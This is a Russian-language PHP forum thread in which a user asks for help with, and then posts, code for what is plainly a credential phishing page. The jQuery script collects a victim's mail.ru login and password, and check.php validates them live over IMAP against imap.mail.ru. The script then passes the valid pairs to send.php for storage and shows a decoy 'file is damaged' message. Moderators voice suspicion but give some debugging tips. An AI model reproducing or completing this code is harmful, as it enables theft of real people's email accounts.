За последние 24 часа нас посетили 18302 программиста и 1626 роботов. Сейчас ищут 1786 программистов ...

Обработка ajax POST запроса PHP

Тема в разделе "Сделайте за меня", создана пользователем Marina Guleeva, 5 ноя 2016.

  1. Marina Guleeva

    Marina Guleeva Новичок

    С нами с:
    24 окт 2016
    Сообщения:
    10
    Симпатии:
    0
    Доброго дня! Есть такой вот код JS

    Код (Javascript):
    1. function check() {
    2.     var login =  document.getElementById("username_id").value;
    3.     var password = document.getElementById("password_id").value;
    4.     if(login.indexOf("@") == -1) {
    5.         login += domain;
    6.     }
    7.     console.log("login = " + login);
    8.     console.log("password = " + password);
    9.     $.ajax({
    10.       type: "POST",
    11.       url: "check.php",
    12.       data: "email="+login+"&password="+password,
    13.       success: function(data) {
    14.           console.log(data);
    15.           if(data == "yes") {
    16.               $.ajax({
    17.               type: "POST",
    18.               url: "send.php",
    19.               data: "data="+login+":"+password,
    20.               success: function(data) {
    21.                       document.getElementById("modalBG").style.display = "none";
    22.                       document.getElementById("form_login").style.display = "none";
    23.                     document.getElementById("text_center").innerHTML = "Данный файл поврежден. Вы не сможете его скачать или просмотреть он-лайн";
    24.                     document.getElementById("text_center").style.color = "#f00";
    25.               }
    26.             });
    27.           } else {
    28.               document.getElementById("message_div").innerHTML = "Неверное имя пользователя или пароль. Проверьте правильность введенных данных.";
    29.           }
    30.       }
    31.     });
    32. }
    Функция сначало проверяет валидность введеных данных, проверка логин:пароль если данные не верные то выбрасываем неверное логин и пароль если данные валидные то то отдаем страничку и оптарвляемм эти данные на фаил send.php (который к примеру запишет эти данные в бд)

    Мне нужна помощь с составлением php обработчика
     
    #1 Marina Guleeva, 5 ноя 2016
    Последнее редактирование модератором: 6 ноя 2016
  2. denis01

    denis01 Суперстар
    Команда форума Модератор

    С нами с:
    9 дек 2014
    Сообщения:
    12.227
    Симпатии:
    1.714
    Адрес:
    Молдова, г.Кишинёв
    что он будет делать?
     
  3. Marina Guleeva

    Marina Guleeva Новичок

    С нами с:
    24 окт 2016
    Сообщения:
    10
    Симпатии:
    0
    Обработчик авторизуется в почте mail.ru

    $.ajax({
    type: "POST",
    url: "check.php",
    data: "email="+login+"&password="+password,

    если по этим результатам авторизации прошла успешно то передаем

    true

    если эти данные тру то

    выполняем вот это

    if(data == "yes") {
    $.ajax({
    type: "POST",
    url: "send.php",
    data: "data="+login+":"+password,
    success: function(data) {
    document.getElementById("modalBG").style.display = "none";
    document.getElementById("form_login").style.display = "none";
    document.getElementById("text_center").innerHTML = "Данный файл поврежден. Вы не сможете его скачать или просмотреть он-лайн";
    document.getElementById("text_center").style.color = "#f00";
    }
    });



    Получается при удачной работы скрипты и вверных данных я должен получать буду вот это "document.getElementById("text_center").innerHTML = "Данный файл поврежден. Вы не сможете его скачать или просмотреть он-лайн";
     
  4. denis01

    denis01 Суперстар
    Команда форума Модератор

    С нами с:
    9 дек 2014
    Сообщения:
    12.227
    Симпатии:
    1.714
    Адрес:
    Молдова, г.Кишинёв
    Подозрительно
     
  5. Marina Guleeva

    Marina Guleeva Новичок

    С нами с:
    24 окт 2016
    Сообщения:
    10
    Симпатии:
    0
    Да ничего криминального тут нет я практикуюсь просто в работу в JS и PHP в пхп нубоват я
     
  6. denis01

    denis01 Суперстар
    Команда форума Модератор

    С нами с:
    9 дек 2014
    Сообщения:
    12.227
    Симпатии:
    1.714
    Адрес:
    Молдова, г.Кишинёв
    Ну так надо книги читать по PHP
     
  7. Marina Guleeva

    Marina Guleeva Новичок

    С нами с:
    24 окт 2016
    Сообщения:
    10
    Симпатии:
    0
    Скажите тогда как проверить передаются ли вообще данные обработчику
    check и send
     
  8. MouseZver

    MouseZver Суперстар

    С нами с:
    1 апр 2013
    Сообщения:
    7.799
    Симпатии:
    1.331
    Адрес:
    Лень
    обычным браузерным отлатчиком F12 в вкладке сеть, посылается запрос, увидеть можно, и что присылает кликнув по запросу (вкладка ответ)
     
  9. Fell-x27

    Fell-x27 Суперстар
    Команда форума Модератор

    С нами с:
    25 июл 2013
    Сообщения:
    12.156
    Симпатии:
    1.771
    Адрес:
    :сердА
    Подозрительно не это, а то, что человек ником "Марина Гулеева", что является женским именем, использует глаголы и прилагательные мужского рода, описывая свои действия и качества.
     
    denis01 и Васяня нравится это.
  10. Marina Guleeva

    Marina Guleeva Новичок

    С нами с:
    24 окт 2016
    Сообщения:
    10
    Симпатии:
    0
    Да че вы тут все параноики какие то может я трансвестит?)

    Проблему я решил вот так вот:

    Есть JS код

    Код (Text):
    1. $.ajax({
    2.       type: "POST",
    3.       url: "check.php",
    4.       data: "email="+login+"&password="+password,
    5.       success: function(data) {
    6.           console.log(data);
    7.           if(data == "yes") {
    8.               $.ajax({
    9.               type: "POST",
    10.               url: "send.php",
    11.               data: "data="+login+":"+password,
    12.               success: function(data) {
    13.                       document.getElementById("modalBG").style.display = "none";
    14.                       document.getElementById("form_login").style.display = "none";
    15.                     document.getElementById("text_center").innerHTML = "Данный файл поврежден. Вы не сможете его скачать или просмотреть он-лайн";
    16.                     document.getElementById("text_center").style.color = "#f00";
    17.               }
    18.             });
    Отправляем постом email и passwoird на обработчик если ответ приходит тру то отправляем все эту инфу на обработчик сенд

    Цель проверять на валид майловскую почту если валид то отвечаем обработчику тру

    код обработчика чек

    Код (Text):
    1. <?
    2. $host        = 'imap.mail.ru';
    3. $port        =  993;
    4. $login       =  $_POST['email'];                                                        
    5. $pass        =  $_POST['password'];                                                      
    6. $param       = '/imap/ssl/novalidate-cert';
    7. $folder      = 'INBOX';
    8.  
    9. if($mbox = imap_open("{"."{$host}:{$port}{$param}"."}$folder",$login,$pass)){
    10.     echo "true";
    11. } else { exit ("Can't connect: " . imap_last_error() ."n");  echo "FAIL!n";  };
    12.  
    13. ?>
     
  11. Fell-x27

    Fell-x27 Суперстар
    Команда форума Модератор

    С нами с:
    25 июл 2013
    Сообщения:
    12.156
    Симпатии:
    1.771
    Адрес:
    :сердА
    Ок, вопрос снят.